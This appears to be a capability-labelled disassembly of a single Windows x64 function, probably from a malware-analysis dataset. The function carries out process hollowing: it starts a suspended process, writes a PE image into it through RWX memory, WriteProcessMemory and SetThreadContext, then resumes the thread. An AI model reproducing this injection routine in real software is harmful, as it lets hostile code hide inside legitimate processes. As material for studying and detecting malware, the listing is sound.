Function at 0x140003e90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1958
call fcn.140038020
sub rsp, rax
mov r14, r9
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov r15, qword [rsp + 0x19c0]
mov rax, qword [0x1400a8800]
xor rax, rsp
mov qword [rsp + 0x1950], rax
lea rdx, [rsp + 0x1740]
xor ecx, ecx
mov r8d, 0x208
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140003ef4
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r13, [rsp + 0x1740]
mov rcx, r13
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
mov r12, rax
lea rbp, [rax + rax]
lea rax, [rbp - 0x1208]
neg rax
cmp rbp, 0x1208
mov r8d, 0
cmovb r8, rax
lea rcx, [rsp + r12*2]
add rcx, 0x530
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x530]
mov rdx, r13
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call r13
mov word [rsp + r12*2 + 0x530], 0x20
lea rcx, [rsp + r12*2]
add rcx, 0x532
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x1f4
call r13
movsxd r14, dword [rdi + 0x3c]
cmp dword [r14 + rdi], 0x4550
je 0x140003f9c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rdx, [rsp + 0x530]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140003fe3
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, [rsp + 0x60]
mov r8d, 0x4d0
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x90], 0x10000b
mov rcx, qword [rsi + 8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140004022
mov rcx, qword [rsi]
mov edx, 0xfffffffc
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r8d, dword [rdi + r14 + 0x50]
mov rdx, qword [rdi + r14 + 0x30]
mov rcx, qword [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x14000405e
mov rcx, qword [rsi]
mov edx, 0xfffffffb
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r9d, dword [rdi + r14 + 0x54]
mov rcx, qword [rsi]
mov qword [rsp + 0x20], 0
mov rdx, rbx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000408d
cmp word [rdi + r14 + 6], 0
jne 0x1400040a4
jmp 0x14000410a
mov rcx, qword [rsi]
mov edx, 0xfffffffa
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp word [rdi + r14 + 6], 0
je 0x14000410a
lea r15, [rdi + 0x108]
xor r12d, r12d
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rbp, qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400040d2
inc r12
movzx eax, word [rdi + r14 + 6]
add r15, 0x28
cmp r12, rax
jae 0x14000410a
movsxd rax, dword [rdi + 0x3c]
mov edx, dword [r15 + rax + 0xc]
mov r9d, dword [r15 + rax + 0x10]
mov r8d, dword [r15 + rax + 0x14]
add r8, rdi
add rdx, rbx
mov rcx, qword [rsi]
mov qword [rsp + 0x20], 0
call r13
test eax, eax
jne 0x1400040c0
mov rcx, qword [rsi]
mov edx, 0xfffffff9
call rbp
jmp 0x1400040c0
mov rdx, qword [rsp + 0xe8]
add rdx, 0x10
mov rcx, qword [rsi]
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x58]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140004145
mov rcx, qword [rsi]
mov edx, 0xfffffff8
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [rdi + r14 + 0x28]
add rax, qword [rsp + 0x58]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140004178
mov rcx, qword [rsi]
mov edx, 0xfffffff7
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x140004194
mov rcx, qword [rsi]
mov edx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x1950]
xor rcx, rsp
call fcn.140038080
xor eax, eax
add rsp, 0x1958
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret